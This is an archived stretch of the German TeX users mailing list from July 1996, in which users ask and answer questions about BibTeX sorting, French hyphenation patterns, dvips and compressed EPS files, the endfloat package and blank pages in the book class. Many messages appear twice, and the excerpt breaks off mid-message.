sollte {\em The Chicago Manual of Style}, 1993, 14th ed., University of Chicago Press, Chicago. lauten. Das sortieren unter "C" ist kein Problem. Allerdings soll der Titel (mit Titel-Formatierung) an Stelle des Autors stehen und dafuer weiter hinten wegfallen. Eine Anpassung des BOOK-entries ist mir bisher nicht gelungen. Gibt es so etwas schon? Gruss Oskar From root Thu Jul 11 05:11:20 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Content-Transfer-Encoding: 7bit Message-Id: <199607090927.p38143@ol2.maus.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Oskar Hagen To: Multiple recipients of list TEX-D-L Date: Tue, 9 Jul 1996 09:27:00 +0200 Subject: BibTeX, alphabetic Hallo, ich benutze einen BibTeX-Stil, der die Autoren alphabetisch und nach Jahr sortiert (aus NAMED.BST abgeleitet.) Was macht man mit einem Buch ohne Autor oder Herausgeber? Beim "Chicago Man= ual of Style" gibt es zwar einen Managing Editor, aber der taucht nicht einmal = beim Library-of-Congress-Data auf. Der Eintrag sollte {\em The Chicago Manual of Style}, 1993, 14th ed., University of Chicago Pr= ess, Chicago. lauten. Das sortieren unter "C" ist kein Problem. Allerdings soll der Titel (mit Titel-Formatierung) an Stelle des Autors stehen und dafuer weiter hinten wegfallen. Eine Anpassung des BOOK-entries ist mir bisher nicht gelungen. G= ibt es so etwas schon? Gruss Oskar From root Tue Jul 9 12:55:02 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Tue, 9 Jul 1996 12:52:33 +0100 Subject: Re: emTeX unter Windows 95 On Mon, 8 Jul 1996 15:19:59 +0200 Werner Kirsch wrote: > Hallo TeX-Anwender, > > ich verwende emTeX und habe nun vor, meinen PC auf Windows 95 umzustellen. > Hab' ich mit Problemen zu rechnen (Stichwort emx) oder nicht? Hallo Werner, ich hab auf meinem ftp-Server unter dem Verzeichnis ftp://fnovbzs.tu-graz.ac.at/vol1/pub/emtex/contrib/wg_tex.zip eine kleine Zusammenfassung, wie man emTeX unter win95 installiert. Ich habs selber noch nicht gelesen, aber das kann Dir sicherlich weiterhelfen. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From owner-tex-d-l@VM.GMD.DE Tue Jul 9 16:51:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Tue, 9 Jul 1996 16:31:31 +0200 Subject: Franzoesische Trennmuster etc. Voller Verwunderung suchte ich auf CTAN /pub/tex/hyphenation die franzoesischen Trennmuster, und was fand ich? Nichts ausser einem Verweis auf /pub/tex/french, wo eine neue Installation zu finden ist, die offenbar -- zumindest soweit ich sehen konnte -- nur mit MLTeX (will ich nicht) oder Babel (will ich auch nicht) laeuft. Zudem kann ich nicht einfach nur die Pattern kopieren, weil der Benutzer sich registrieren lassen muss. ABER: ich soll eine Distribution zusammenstellen, bei der sich gerade nicht jeder Benutzer anmelden sollen muss. Also meine Frage: weiss da jemand Rat? Soll ich einfach die alten Trennmuster (habe ich noch) weiterverwenden, obwohl sie nicht mehr auf CTAN sind? Muede und ratlos -- dankbar fuer jeden Tip. Matthias P.S.: Ich sehe ja ein, dass Bernard Gaulle gerne wissen moechte, welcher Benutzer TeX wie und womit benutzt, damit er besser helfen kann. Aber fuer eine Benutzung mit german.sty ohne DC-fonts ist das m.E. unbrauchbar; oder habe ich nicht genau genug geschaut? -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est From root Tue Jul 9 16:57:28 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann To: Multiple recipients of list TEX-D-L Date: Tue, 9 Jul 1996 16:31:31 +0200 Subject: Franzoesische Trennmuster etc. Voller Verwunderung suchte ich auf CTAN /pub/tex/hyphenation die franzoesischen Trennmuster, und was fand ich? Nichts ausser einem Verweis auf /pub/tex/french, wo eine neue Installation zu finden ist, die offenbar -- zumindest soweit ich sehen konnte -- nur mit MLTeX (will ich nicht) oder Babel (will ich auch nicht) laeuft. Zudem kann ich nicht einfach nur die Pattern kopieren, weil der Benutzer sich registrieren lassen muss. ABER: ich soll eine Distribution zusammenstellen, bei der sich gerade nicht jeder Benutzer anmelden sollen muss. Also meine Frage: weiss da jemand Rat? Soll ich einfach die alten Trennmuster (habe ich noch) weiterverwenden, obwohl sie nicht mehr auf CTAN sind? Muede und ratlos -- dankbar fuer jeden Tip. Matthias P.S.: Ich sehe ja ein, dass Bernard Gaulle gerne wissen moechte, welcher Benutzer TeX wie und womit benutzt, damit er besser helfen kann. Aber fuer eine Benutzung mit german.sty ohne DC-fonts ist das m.E. unbrauchbar; oder habe ich nicht genau genug geschaut? -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Tue Jul 9 18:31:20 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Tue, 9 Jul 1996 18:33:25 +0100 Subject: Re: Franzoesische Trennmuster etc. Ich habe hier die 8bittigen Trennmuster f8hyph.tex installiert. Eine kleine Suche mit quote site index erbringt das folgende Resultat: 200-index f8hyph 200-NOTE. This index shows at most 20 lines. for a full list of files, 200-retrieve /tex-archive/FILES.byname 200-1996/07/04 | 30022 | language/french/initex/f8hyph.tex 200-1996/07/04 | 1946 | language/french/inputs/f8hyphex.850 200-1996/07/04 | 1926 | language/french/inputs/f8hyphex.mac 200-1996/07/04 | 1924 | language/french/inputs/f8hyphex.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dc-latex/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dc-nfss/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dc-plain/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dm-latex/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dm-plain/f8hyph.tex 200 (end of 'index f8hyph') Ieek---es leben dort noch veraltete Versionen unter hyphen-accent! texarchive/language/french/initex enth"alt auch noch andere frz. Trennmuster. --J"org Knappen. From root Tue Jul 9 18:32:30 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I6VN8800UA8Y6LWV@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Tue, 9 Jul 1996 18:33:25 +0100 Subject: Re: Franzoesische Trennmuster etc. Ich habe hier die 8bittigen Trennmuster f8hyph.tex installiert. Eine kleine Suche mit quote site index erbringt das folgende Resultat: 200-index f8hyph 200-NOTE. This index shows at most 20 lines. for a full list of files, 200-retrieve /tex-archive/FILES.byname 200-1996/07/04 | 30022 | language/french/initex/f8hyph.tex 200-1996/07/04 | 1946 | language/french/inputs/f8hyphex.850 200-1996/07/04 | 1926 | language/french/inputs/f8hyphex.mac 200-1996/07/04 | 1924 | language/french/inputs/f8hyphex.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dc-latex/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dc-nfss/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dc-plain/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dm-latex/f8hyph.tex 200-1993/09/24 | 10939 | language/hyphen-accent/dm-plain/f8hyph.tex 200 (end of 'index f8hyph') Ieek---es leben dort noch veraltete Versionen unter hyphen-accent! texarchive/language/french/initex enth"alt auch noch andere frz. Trennmuster. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Wed Jul 10 13:59:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench Date: Wed, 10 Jul 1996 13:53:45 +0200 Subject: *.eps.gz und dvips Hallo! Zu folgendem Problem erw"ahnt Keith Reckdahl in seinem hervorragenden Text 'Using EPS Graphics in LaTeX2e Documents' auf Seite 20 (den Text findet man unter CTAN:/tex-archive/info/epslatex.ps) eine recht sch"one L"osung, wenn man die kpathsea-Funktionen zur Verf"ugung hat (wie bei teTeX). [...] > wenn ich meine *.eps.gz Dateien nicht im lokalen Verzeichnis vorhalte > sondern sie in einem speziellen Verzeichnis ../graphics/ habe, wo alle > eps-dateien liegen (und bisher unkomprimiert eingebunden werden, da der > Pfad teTeX mitgeteilt und ein texhash Lauf ausgefuehrt wurde), DANN > findet nach einwandfreiem LaTeX-Lauf das vom dvips (5.58f) aufgerufene > gunzip -c die eps.gz-dateien nicht.(Und das obwohl der dvips natuerlich > vorher die unkomprimierten eps.-dateien immer gefunden hat!) Das kann ich [...] > Oder muss ich am Ende in dvips.def \DeclareGraphicsRule erweitern...? Nicht in dvips.def, besser in graphics.cfg.. Man sagt dort am besten zus"atzlich zum \ExecuteOptions{dvips} % \AtEndOfPackage{% \DeclareGraphicsRule{.eps.gz}{eps}{.eps.bb}% {`gunzip -c `kpsewhich -n latex tex #1`}} % Dadurch findet das von dvips aufgerufene gunzip das komprimierte File, indem es das Programm kpsewhich aufruft... Die andere bereits vorgeschlagene Umdefinition funktioniert nat"urlich auch; durch obige Definition ist nun aber jedes komprimierte File, das im LaTeX-Input-Pfad steht, von gunzip findbar... Ciao, Uwe M"unch ------------------------------------------------------------------------------ Uwe M\"unch, Schmittgasse 92, D-51143 K\"oln, email: muench@ph-cip.uni-koeln.de TeX-Betreuer RRZK, RRZK-RII, Raum 11, Tel: +49-221-478-3391 "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." - Richard Feynman From root Wed Jul 10 14:00:39 1996 Message-Id: <199607101153.AA20120@moon.ph-cip.uni-koeln.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench To: Multiple recipients of list TEX-D-L In-Reply-To: wenn ich meine *.eps.gz Dateien nicht im lokalen Verzeichnis vorhalte > sondern sie in einem speziellen Verzeichnis ../graphics/ habe, wo alle > eps-dateien liegen (und bisher unkomprimiert eingebunden werden, da der > Pfad teTeX mitgeteilt und ein texhash Lauf ausgefuehrt wurde), DANN > findet nach einwandfreiem LaTeX-Lauf das vom dvips (5.58f) aufgerufene > gunzip -c die eps.gz-dateien nicht.(Und das obwohl der dvips natuerlich= > vorher die unkomprimierten eps.-dateien immer gefunden hat!) Das kann ic= h [...] > Oder muss ich am Ende in dvips.def \DeclareGraphicsRule erweitern...? Nicht in dvips.def, besser in graphics.cfg.. Man sagt dort am besten zus"atzlich zum \ExecuteOptions{dvips} % \AtEndOfPackage{% \DeclareGraphicsRule{.eps.gz}{eps}{.eps.bb}% {`gunzip -c `kpsewhich -n latex tex #1`}} % Dadurch findet das von dvips aufgerufene gunzip das komprimierte File, indem es das Programm kpsewhich aufruft... Die andere bereits vorgeschlagene Umdefinition funktioniert nat"urlich auch= ; durch obige Definition ist nun aber jedes komprimierte File, das im LaTeX-Input-Pfad steht, von gunzip findbar... Ciao, Uwe M"unch ---------------------------------------------------------------------------= --- Uwe M\"unch, Schmittgasse 92, D-51143 K\"oln, email: muench@ph-cip.uni-koel= n.de TeX-Betreuer RRZK, RRZK-RII, Raum 11, Tel: +49-221-478-3391 "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." - Richard Feynman From owner-tex-d-l@VM.GMD.DE Wed Jul 10 14:54:23 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Wed, 10 Jul 1996 14:53:24 +0200 Subject: Re: Franzoesische Trennmuster etc. On Tue, 9 Jul 1996, J%org Knappen, Mainz wrote: > Ich habe hier die 8bittigen Trennmuster f8hyph.tex installiert. > Eine kleine Suche mit quote site index erbringt das folgende Resultat: Resultat geloescht, da unintererssant, denn: ich habe mich offenbar nicht klar genug ausgedrueckt (obwohl in meinem P.S. stand: "Aber fuer eine Benutzung mit german.sty ohne DC-fonts ist das m.E. unbrauchbar; oder habe ich nicht genau genug geschaut?"): Ich benoetige Trennmuster, die auch mit den OT1-codierten Fonts (also cm) funktionieren; soweit ich weiss, kann ich da ja nicht einfach die T1-codierten nehmen, oder? Leider gibt es keine Moeglichkeit, T1-codierte Fonts zu benutzen. Es handelt sich um PCTeX, das kein Metafont mitliefert, so dass man auf die (mitgelieferten) cm-ttf-Fonts zurueckgreifen muss. Auch wenn es unTeXnisch ist (und mich persoenlich graust), ich muss es so installieren, Punkt. > Ieek---es leben dort noch veraltete Versionen unter hyphen-accent! > texarchive/language/french/initex enth"alt auch noch andere frz. > Trennmuster. Ja, aber: 1. Muesste sich da jeder Benutzer registrieren lassen 2. (aus f7hyph.tex) % f7hyph.tex % French hyphenation patterns (7-bit OT1 encoding) % f7hyph.tex is ONLY for people having a MlTeX engine and CMR fonts. :-(( > --J"org Knappen. Grundsaetzlich kann man davon ausgehen, dass ich mich in den entsprechenden Verzeichnissen auf CTAN bereits umgesehen habe, bevor ich hier frage. Zusammenfassende Schlussfrage: Gibt es franzoesische Trennmuster fuer OT1-codierte Schriften, die weder eine Registrierung noch MlTeX voraussetzen. Gruss Matthias -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est From root Wed Jul 10 14:54:00 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann To: Multiple recipients of list TEX-D-L In-Reply-To: <01I6VN8800UA8Y6LWV@MZDMZA.ZDV.UNI-MAINZ.DE> Date: Wed, 10 Jul 1996 14:53:24 +0200 Subject: Re: Franzoesische Trennmuster etc. On Tue, 9 Jul 1996, J%org Knappen, Mainz wrote: > Ich habe hier die 8bittigen Trennmuster f8hyph.tex installiert. > Eine kleine Suche mit quote site index erbringt das folgende Resultat: Resultat geloescht, da unintererssant, denn: ich habe mich offenbar nicht klar genug ausgedrueckt (obwohl in meinem P.S. stand: "Aber fuer eine Benutzung mit german.sty ohne DC-fonts ist das m.E. unbrauchbar; oder habe ich nicht genau genug geschaut?"): Ich benoetige Trennmuster, die auch mit den OT1-codierten Fonts (also cm) funktionieren; soweit ich weiss, kann ich da ja nicht einfach die T1-codierten nehmen, oder? Leider gibt es keine Moeglichkeit, T1-codierte Fonts zu benutzen. Es handelt sich um PCTeX, das kein Metafont mitliefert, so dass man auf die (mitgelieferten) cm-ttf-Fonts zurueckgreifen muss. Auch wenn es unTeXnisch ist (und mich persoenlich graust), ich muss es so installieren, Punkt. > Ieek---es leben dort noch veraltete Versionen unter hyphen-accent! > texarchive/language/french/initex enth"alt auch noch andere frz. > Trennmuster. Ja, aber: 1. Muesste sich da jeder Benutzer registrieren lassen 2. (aus f7hyph.tex) % f7hyph.tex % French hyphenation patterns (7-bit OT1 encoding) % f7hyph.tex is ONLY for people having a MlTeX engine and CMR fonts. :-(( > --J"org Knappen. Grundsaetzlich kann man davon ausgehen, dass ich mich in den entsprechenden Verzeichnissen auf CTAN bereits umgesehen habe, bevor ich hier frage. Zusammenfassende Schlussfrage: Gibt es franzoesische Trennmuster fuer OT1-codierte Schriften, die weder eine Registrierung noch MlTeX voraussetzen. Gruss Matthias -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Wed Jul 10 15:28:49 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 10 Jul 1996 15:28:49 +0200 Subject: Re: Franzoesische Trennmuster etc. Matthias Eckermann schreibt: : On Tue, 9 Jul 1996, J%org Knappen, Mainz wrote: : : > Ich habe hier die 8bittigen Trennmuster f8hyph.tex installiert. : > Eine kleine Suche mit quote site index erbringt das folgende Resultat: : : Resultat geloescht, da unintererssant, denn: : ich habe mich offenbar nicht klar genug ausgedrueckt : (obwohl in meinem P.S. stand: "Aber fuer eine Benutzung mit german.sty : ohne DC-fonts ist das m.E. unbrauchbar; : oder habe ich nicht genau genug geschaut?"): : Ich benoetige Trennmuster, die auch mit den OT1-codierten Fonts (also cm) : funktionieren; soweit ich weiss, kann ich da ja nicht einfach die : T1-codierten nehmen, oder? Die f8hyph.tex funktionieren auch mit OT1-kodierten Fonts, nur bekommt man da eine besch...eidene Trennung durch die vielen Akzente. (Alle Trennmuster mit Akzente werden dann halt nie verwendet.) Den Trick von german.sty, \nobreak\hskip0pt\relax einzufuegen, also das Wort kuenstlich an den Akzenten in Teilworte aufzubrechen, duerfte im Franzoesischen nicht gerade die besten Ergebnisse zeigen. : Leider gibt es keine Moeglichkeit, T1-codierte Fonts zu benutzen. : Es handelt sich um PCTeX, das kein Metafont mitliefert, so dass man auf : die (mitgelieferten) cm-ttf-Fonts zurueckgreifen muss. : Auch wenn es unTeXnisch ist (und mich persoenlich graust), : ich muss es so installieren, Punkt. Wieso? Du kannst doch die DC-1.3pl2-Schriften auf einem anderen Rechner durchrechnen lassen und dann die tfm/pk-Files auf den PC spielen (kompletter Satz benoetigt aber fuer tfm 1,5MB, fuer 300dpi/cx 8,2MB und 600dpi/ljfour 19MB). : > Ieek---es leben dort noch veraltete Versionen unter hyphen-accent! : > texarchive/language/french/initex enth"alt auch noch andere frz. : > Trennmuster. : : Ja, aber: : 1. Muesste sich da jeder Benutzer registrieren lassen [...] Frag' doch einmal direkt bei Bernard Gaulle nach, was er dir raet. : Zusammenfassende Schlussfrage: : Gibt es franzoesische Trennmuster fuer OT1-codierte Schriften, die weder : eine Registrierung noch MlTeX voraussetzen. dto. auf der GUT-Diskussionsliste bzw. bei Bernard Gaulle nachfragen... Gruesse, -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg ==> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From root Wed Jul 10 15:30:16 1996 Message-Id: <199607101328.PAA27590@isle> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: (message from= Date: Wed, 10 Jul 1996 15:28:49 +0200 Subject: Re: Franzoesische Trennmuster etc. Matthias Eckermann on Wed, 10 Jul 1996 14:53:24 +0200) Matthias Eckermann schreibt: : On Tue, 9 Jul 1996, J%org Knappen, Mainz wrote: : : > Ich habe hier die 8bittigen Trennmuster f8hyph.tex installiert. : > Eine kleine Suche mit quote site index erbringt das folgende Resultat: : : Resultat geloescht, da unintererssant, denn: : ich habe mich offenbar nicht klar genug ausgedrueckt : (obwohl in meinem P.S. stand: "Aber fuer eine Benutzung mit german.sty : ohne DC-fonts ist das m.E. unbrauchbar; : oder habe ich nicht genau genug geschaut?"): : Ich benoetige Trennmuster, die auch mit den OT1-codierten Fonts (also cm)= : funktionieren; soweit ich weiss, kann ich da ja nicht einfach die : T1-codierten nehmen, oder? Die f8hyph.tex funktionieren auch mit OT1-kodierten Fonts, nur bekommt man da eine besch...eidene Trennung durch die vielen Akzente. (Alle Trennmuster mit Akzente werden dann halt nie verwendet.) Den Trick von german.sty, \nobreak\hskip0pt\relax einzufuegen, also das Wort kuenstlich an den Akzenten in Teilworte aufzubrechen, duerfte im Franzoesischen nicht gerade die besten Ergebnisse zeigen. : Leider gibt es keine Moeglichkeit, T1-codierte Fonts zu benutzen. : Es handelt sich um PCTeX, das kein Metafont mitliefert, so dass man auf : die (mitgelieferten) cm-ttf-Fonts zurueckgreifen muss. : Auch wenn es unTeXnisch ist (und mich persoenlich graust), : ich muss es so installieren, Punkt. Wieso? Du kannst doch die DC-1.3pl2-Schriften auf einem anderen Rechner durchrechnen lassen und dann die tfm/pk-Files auf den PC spielen (kompletter Satz benoetigt aber fuer tfm 1,5MB, fuer 300dpi/cx 8,2MB und 600dpi/ljfour 19MB). : > Ieek---es leben dort noch veraltete Versionen unter hyphen-accent! : > texarchive/language/french/initex enth"alt auch noch andere frz. : > Trennmuster. : : Ja, aber: : 1. Muesste sich da jeder Benutzer registrieren lassen [...] Frag' doch einmal direkt bei Bernard Gaulle nach, was er dir raet. : Zusammenfassende Schlussfrage: : Gibt es franzoesische Trennmuster fuer OT1-codierte Schriften, die weder : eine Registrierung noch MlTeX voraussetzen. dto. auf der GUT-Diskussionsliste bzw. bei Bernard Gaulle nachfragen... Gruesse, -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg =3D=3D> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jul 10 16:23:24 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Wed, 10 Jul 1996 16:11:59 +0100 Subject: Re: Franzoesische Trennmuster etc. Ich habe hier noch ein altes fhyph.tex (vermutlich vom Heidelberger Listserver) gefunden, das Deinen Anforderungen entsprechen k"onnte. Es ist nicht allzu lang, also erwarte nicht die optimlaen Trennungen. Bei Bedarf kann ich es Dir zumailen. --J"org Knappen. From root Wed Jul 10 17:03:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I6WWO540EABG1T4N@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Wed, 10 Jul 1996 16:11:59 +0100 Subject: Re: Franzoesische Trennmuster etc. Ich habe hier noch ein altes fhyph.tex (vermutlich vom Heidelberger Listserver) gefunden, das Deinen Anforderungen entsprechen k"onnte. Es ist nicht allzu lang, also erwarte nicht die optimlaen Trennungen. Bei Bedarf kann ich es Dir zumailen. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Thu Jul 11 11:30:43 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Thu, 11 Jul 1996 11:29:34 +0200 Subject: Bilder -- mal im Text und mal hinten dran The following message is a courtesy copy of an article that has been posted as well. Hallo zusammen, ich wurde gebeten, nach einem Style oder ¢hnlichem zu suchen, der derzeit wegen Krankheit nicht selber zu den Tasten greifen kann. Der gute, nennen wir ihn einmal Andreas, schreibt zur Zeit an einer Studienarbeit in einem doch recht rðckst¢ndigen Institut. Dort mêchte man aus irgendwelchen Grðnden, die Andreas nicht zu vertreten hat, das alle Bilder am Ende (eines Kapitels, oder gar des ganzen Buches??) der Arbeit erscheinen. Andreas mêchte aber gerne seine Bilder an den Stellen finden, die er fðr richtig findet und wo sie auch thematisch hingehêren. Daher mêchte er auch die Bilder und Tabellen an den stellen in den Quelltext einbinden, an denen sie thematisch richtig sind. Er stellt er sich vor, da± er ein trickreiches Paket installiert bei der man mit Hilfe einer Option einmal ein vernðnftiges Buch fðr sich selber erstellen kann und ohne die Option oder mit Hilfe einer anderen Option eine Version bekommt, die alle Bilder auf einen Haufen am Ende der ... auffðhrt. Jetzt die Frage ob es bereits ein solches Paket oder Style gibt, mit dem man a) alle Bilder an das (irgendein) Ende setzen kann und ob b) man damit auch per Option oder auskommentieren wieder ein beautifull-dokument erzeugen kann. Bitte helft mir und dem armen Andreas. Vielen Dank Jan From root Thu Jul 11 11:30:03 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun To: Multiple recipients of list TEX-D-L Date: Thu, 11 Jul 1996 11:29:34 +0200 Subject: Bilder -- mal im Text und mal hinten dran The following message is a courtesy copy of an article that has been posted as well. Hallo zusammen, ich wurde gebeten, nach einem Style oder =A2hnlichem zu suchen, der derzeit wegen Krankheit nicht selber zu den Tasten greifen kann. Der gute, nennen wir ihn einmal Andreas, schreibt zur Zeit an einer Studienarbeit in einem doch recht r=F0ckst=A2ndigen Institut. Dort m=EAcht= e man aus irgendwelchen Gr=F0nden, die Andreas nicht zu vertreten hat, das alle Bilder am Ende (eines Kapitels, oder gar des ganzen Buches??) der Arbeit erscheinen. Andreas m=EAchte aber gerne seine Bilder an den Stellen finden, die er f=F0r richtig findet und wo sie auch thematisch hingeh=EAren. Daher m=EAchte er auch die Bilder und Tabellen an den stellen in den Quelltext einbinden, an denen sie thematisch richtig sind. Er stellt er sich vor, da=B1 er ein trickreiches Paket installiert bei der man mit Hilfe einer Option einmal ein vern=F0nftiges Buch f=F0r sich selber erstellen kann und ohne die Option oder mit Hilfe einer anderen Option eine Version bekommt, die alle Bilder auf einen Haufen am Ende der ... auff=F0hrt. Jetzt die Frage ob es bereits ein solches Paket oder Style gibt, mit dem man a) alle Bilder an das (irgendein) Ende setzen kann und ob b) man damit auch per Option oder auskommentieren wieder ein beautifull-dokument erzeugen kann. Bitte helft mir und dem armen Andreas. Vielen Dank Jan From root Thu Jul 11 11:44:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Thu, 11 Jul 1996 11:43:50 +0200 Subject: Re: Bilder -- mal im Text und mal hinten dran Jan Braun schreibt: [...] : das : alle Bilder am Ende (eines Kapitels, oder gar des ganzen Buches??) der : Arbeit erscheinen. [...] endfloat? CTAN: macros/latex/contrib/supported/endfloat/ -bernd From root Thu Jul 11 11:44:39 1996 Message-Id: <199607110943.LAA28101@isle> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: (message from Jan Braun o= Date: Thu, 11 Jul 1996 11:43:50 +0200 Subject: Re: Bilder -- mal im Text und mal hinten dran Jan Braun schreibt: [...] : das : alle Bilder am Ende (eines Kapitels, oder gar des ganzen Buches??) der : Arbeit erscheinen. [...] endfloat? CTAN: macros/latex/contrib/supported/endfloat/ -bernd From root Thu Jul 11 11:46:42 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun To: Multiple recipients of list TEX-D-L In-Reply-To: <199607110943.LAA28101@isle> Date: Thu, 11 Jul 1996 11:46:07 +0200 Subject: Re: Bilder -- mal im Text und mal hinten dran Hallo Bernd, >>>>> "BR" =3D=3D Bernd Raichle write= s: BR> BR> Jan Braun schreibt: BR> [...] BR> BR> endfloat? BR> BR> CTAN: macros/latex/contrib/supported/endfloat/ BR> vielen herzlichen Dank, da"s werde ich weiterreichen. Danke Jan From owner-tex-d-l@VM.GMD.DE Thu Jul 11 11:45:43 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Thu, 11 Jul 1996 11:46:07 +0200 Subject: Re: Bilder -- mal im Text und mal hinten dran Hallo Bernd, >>>>> "BR" == Bernd Raichle writes: BR> BR> Jan Braun schreibt: BR> [...] BR> BR> endfloat? BR> BR> CTAN: macros/latex/contrib/supported/endfloat/ BR> vielen herzlichen Dank, da"s werde ich weiterreichen. Danke Jan From root Fri Jul 12 11:45:17 1996 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) Message-Id: <9607120941.AA06633@spock.physik.uni-konstanz.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Petry To: Multiple recipients of list TEX-D-L Date: Fri, 12 Jul 1996 11:41:41 +0200 Hallo, mit dem Dokumentenstil book habe ich folgendes Problem: Wegen der standardmaessigen Formatierung der Ausgabe fuer doppelseitigen Druck bekomme ich immer eine leere Seite, wenn ein Kapitel auf einer Seite mit ungerader Nummer endet (neue Kapitel fangen immer auf einer rechten Seite an). Das will ich unterdruecken. Weiss jemand, wie das geht?? juergen From owner-tex-d-l@VM.GMD.DE Fri Jul 12 11:44:26 1996 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Petry Date: Fri, 12 Jul 1996 11:41:41 +0200 Hallo, mit dem Dokumentenstil book habe ich folgendes Problem: Wegen der standardmaessigen Formatierung der Ausgabe fuer doppelseitigen Druck bekomme ich 